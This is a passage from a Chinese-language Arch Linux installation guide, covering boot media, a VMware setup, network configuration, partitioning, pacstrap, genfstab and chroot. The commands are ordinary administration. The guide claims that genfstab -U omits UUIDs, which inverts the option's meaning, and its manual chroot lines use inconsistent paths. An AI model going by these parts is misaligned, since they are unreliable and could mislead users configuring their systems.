• (推荐)南科大源：https://mirrors.sustech.edu.cn/

进入网页后，点击类似"archlinux-[年份].[月份].[日期]-x86_64.iso"的链接下载镜像文件，推荐使用FDM或者AB Download Manager下载。

二、 制作U盘启动盘#

Caution

注意在此之前先备份一下U盘上的重要数据！！！

注意在此之前先备份一下U盘上的重要数据！！！

注意在此之前先备份一下U盘上的重要数据！！！

重要的事情说三遍！！！

1. Balena Etcher#

下载完ISO镜像文件后，使用Rufus工具或者Balena Etcher工具制作U盘启动盘。

这里以Balena Etcher为例：

插入U盘后，打开Balena Etcher，选择”从文件烧录”，选择下载好的ISO镜像文件。

然后点击”选择目标磁盘”，找到你插入的U盘。

点击”现在烧录!”

等进度条过完以后，U盘启动盘就制作好了。

---

2. Ventoy#

或者使用Ventoy工具制作U盘启动盘。

打开Ventoy，先在配置选项-分区类型选择GPT，默认选中了你的U盘，然后点击”安装”按钮，期间会反复确认是否格式化U盘，点击”是”即可。

之后把ISO镜像拖入到名为”Ventoy”的分区中即可。

Balena Etcher与Ventoy对比#

Balena Etcher和Rufus一样只能使用一个ISO镜像文件制作U盘启动盘；

而Ventoy只需要安装进U盘里，之后可以直接导入多个ISO镜像文件，比如各种PE，各个发行版Live CD等，还可以配合Edgeless这种高度定制的PE系统使用。

所以我个人推荐使用Ventoy。

虚拟机安装的准备#

以VMware Workstation Pro为例，创建虚拟机

点击”创建新的虚拟机”，选择”自定义(高级)”。

虚拟机硬件兼容性保持默认，点击”下一步”，选择”安装程序光盘映像文件(iso)“，选择下载好的ISO镜像文件。

点击”下一步”，操作系统选择”Linux”,版本选择”其他 Linux 6.x 内核 64 位”

点击下一步，编辑虚拟机名称和位置

选择处理器数量，建议为1个处理器数量和4个核心，然后分配内存，内存建议为4GB以上。

网络类型默认选择”使用网络地址转换(NAT)“，点击下一步，选择I/O控制器类型，保持默认点击下一步，虚拟磁盘类型选择”SATA”或者”NVMe”，点击下一步选择创建新虚拟磁盘，指定磁盘容量自定，下边保持默认。

点击”下一步”，最后检查设置，确保所有设置正确无误，点击”完成”，虚拟机创建完成。

安装Arch Linux#

一、 启动#

物理机的启动#

先把电脑重启，然后按快捷键进入选择启动项界面(Boot Menu)(这里不同品牌的主板和笔记本都有不同的进入启动项的快捷键，请自行必应搜索，我用的联想笔记本进入启动项的快捷键是F12)

选择你新安装的U盘启动项(一般是[启动项名称]+(你的U盘设备名))，如果找不到请尝试搜索如何解决。

进入Arch Linux Live CD引导界面，选择"Arch Linux install medium (x86_64, UEFI)"回车。 (第一个就是了直接Enter回车)

进入满屏的跑代码界面几十秒后，就会成功进入Arch Live CD的命令行交互环境，下面是你能输入的那一行的标识：

1
root@archiso ~ #

在这里，root是超级用户，archiso是Live CD的hostname，~是当前用户的家目录，#是root用户提示符(相反$表示普通用户)，你可以输入命令，按Enter键执行。

虚拟机的启动#

找到新建的虚拟机，点击编辑虚拟机设置-硬件-CD/DVD，选择下载好的ISO镜像文件，勾选启动时连接。

然后点击选项菜单，找到高级，在固件类型中选择UEFI，然后点击确认按钮。(当然虚拟机的话BIOS也是行的（（（)

最后点击开启此虚拟机按钮，虚拟机就会启动，进入Arch Linux Live CD的命令行交互环境。

1
systemctl stop reflector.service
2
systemctl disable reflector.service
3
# 通过底下的命令检查服务状态，查看该服务是否被禁用，按下 q 退出结果输出
4
systemctl status reflector.service

1
rmmod pcspkr
2
echo "blacklist pcspkr" >> /etc/modprobe.d/blacklist.conf

1
ls /sys/firmware/efi/efivars   # 如果有这个目录，说明是UEFI启动方式
2
# 或者
3
cat /sys/firmware/efi/fw_platform_size

1
lspci -k | grep Network

1
rfkill list #查看无线连接 是否被禁用(blocked: yes)
2
ip link
3
ip link set wlan0 up #比如无线网卡看到叫 wlan0
4

5
# 若看到类似Operation not possible due to RF-kill的报错，继续尝试rfkill unblock wifi来解锁无线网卡。
6

7
rfkill unblock wifi

1
iwctl # 进入交互式命令行
2
device list # 列出无线网卡设备名，比如无线网卡看到叫 wlan0
3
station wlan0 scan # 扫描网络
4
station wlan0 get-networks # 列出所有 wifi 网络
5
station wlan0 connect [wifi-name] # 进行连接，注意这里无法输入中文。回车后输入密码即可
6
exit # 连接成功后退出

1
systemctl restart dhcpcd.service
2
systemctl restart NetworkManager.service # 如果有

1
ping -c8 cn.bing.com # 测试网络连接

1
timedatectl set-ntp true # 将系统时间与网络时间进行同步
2
timedatectl status # 查看系统时间，或者使用 date 命令查看

1
nano /etc/pacman.d/mirrorlist
2
# 可以使用vim，但在此之前请先安装，因为livecd环境没有自带vim

1
Server = https://mirrors.tuna.tsinghua.edu.cn/archlinux/$repo/os/$arch
2
Server = https://mirrors.bfsu.edu.cn/archlinux/$repo/os/$arch
3
Server = https://mirrors.ustc.edu.cn/archlinux/$repo/os/$arch
4
Server = https://mirrors.zju.edu.cn/archlinux/$repo/os/$arch

1
pacman -Sy

1
lsblk # 查看所有磁盘分区
2
fdisk -l # 或者

1
root@archiso ~ # lsblk
2
NAME           MAJ:MIN  RM    SIZE  RO  TYPE  MOUNTPOINT
3
loop0            7:0     0  688.2M   1  loop  /run/archiso/airootfs  # loop0 是注入到内存的Live CD环境，请忽略
4
sda              8:0     0    436G   0  disk  # sda 是要安装 Arch Linux 的硬盘，请记住设备名
5
sdb              8:2     0    936G   0  disk  # sdb 是扩展硬盘，请忽略
6
└─sdb1           8:11    0    936G   0  part
7
sdc              8:16    1   59.8G   0  disk  # sdc 是 U 盘启动盘，请忽略
8
├─sdc1           8:17    1   59.7G   0  part
9
│   └ventoy    254:0     0  861.3M   1  dm    /run/archiso/bootmnt
10
└─sdc2           8:18    1     32M   0  part
11
nvme0n1         259:0    0    120G   0  disk  # nvme0n1 是 Windows 系统的硬盘，请忽略
12
├─nvme0n1p1     259:1    0     16M   0  part  Microsoft reserved partition
13
└─nvme0n1p2     259:2    0    119G   0  part  Microsoft basic data partition

1
root@archiso ~ # lsblk
2
NAME           MAJ:MIN  RM    SIZE  RO  TYPE  MOUNTPOINT
3
loop0            7:0     0  688.2M   1  loop  /run/archiso/airootfs  # loop0 是注入到内存的Live CD环境，请忽略
4
sda              8:0     0    135G   0  disk  # sda 是要安装 Arch Linux 的硬盘，请记住设备名
5
sr0             11:0     1  755.3M   0  rom   /run/archiso/bootmnt  # sr0 是VMware虚拟光驱，请忽略

1
fdisk /dev/sda
2
fdisk /dev/nvme0n1 # 或者

1
NAME           MAJ:MIN  RM    SIZE  RO  TYPE  MOUNTPOINT
2
loop0            7:0     0  688.2M   1  loop  /run/archiso/airootfs
3
sda              8:0     0    135G   0  disk
4
├─sda1           8:1     0    512M   0  part  EFI System
5
├─sda2           8:2     0     64G   0  part  Linux root (x86-64)
6
└─sda3           8:3     0      4G   0  part  Linux swap
7
sr0             11:0     1  755.3M   0  rom   /run/archiso/bootmnt

1
mount /dev/sda2 /mnt
2
mkdir /mnt/efi
3
mount /dev/sda1 /mnt/efi
4
swapon /dev/sda3

1
df -h # 查看磁盘挂载情况
2
free -h # 查看Swap分区有没有正常挂载，-h 选项会使输出以人类可读的单位显示

1
pacstrap /mnt base base-devel linux linux-firmware

1
pacstrap /mnt nano vim sudo grub efibootmgr networkmanager intel-ucode

1
pacstrap /mnt base base-devel linux linux-firmware linux-zen linux-headers linux-zen-headers nano vim sudo grub efibootmgr networkmanager intel-ucode

十三、 生成fstab文件#

Fstab文件是Linux系统中重要的配置文件，它描述了文件系统的挂载信息，以及在系统启动时需要挂载的文件系统。

很久以前，Fstab文件需要我们手动编辑，它的格式也比较麻烦，好在Arch Linux提供了genfstab脚本，便于我们生成Fstab文件。

1
genfstab -U /mnt >> /mnt/etc/fstab

-U选项表示生成的Fstab文件中不包含UUID信息，因为UUID信息可能与硬盘有关，如果硬盘更换，UUID也会发生变化，这会导致Fstab文件失效。

记得检查Fstab文件是否正确，确保它包含了所有需要挂载的分区，并且挂载信息正确。

更多相关信息，请参阅：

• Fstab：https://wiki.archlinuxcn.org/wiki/Fstab
• Genfstab：https://wiki.archlinuxcn.org/wiki/Genfstab

1
mount -t proc /proc /mnt/proc
2
mount -t sysfs /sys /mnt/sys
3
mount --rbind /dev /mnt/dev
4
# 可选  mount --rbind /run /mnt/run
5
# 如果正运行在 UEFI 系统，则还需要能够访问 EFI 变量
6
mount --rbind /sys/firmware/efi/efivars sys/firmware/efi/efivars/
7
# 如果已经建立了一个网络连接并且想在 chroot 环境中继续使用，将 DNS 服务器配置复制到新环境：
8
cp -L /etc/resolv.conf etc/resolv.conf
9
# 最后，切换到新系统并启用指定Shell：
10
chroot /mnt/arch /usr/bin/bash

1
arch-chroot /mnt /bin/bash

1
timedatectl set-ntp true # 启用网络时间同步
2
ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime # 设置时区为上海
3
hwclock --systohc # 将系统时间写入硬件时钟

1
echo 'lingxi9374-ArchPC' > /etc/hostname # 设置主机名为lingxi9374-ArchPC

1
pacman -S vim nano

1
...
2
en_US.UTF-8 UTF-8
3
...
4
zh_CN.UTF-8 UTF-8
5
...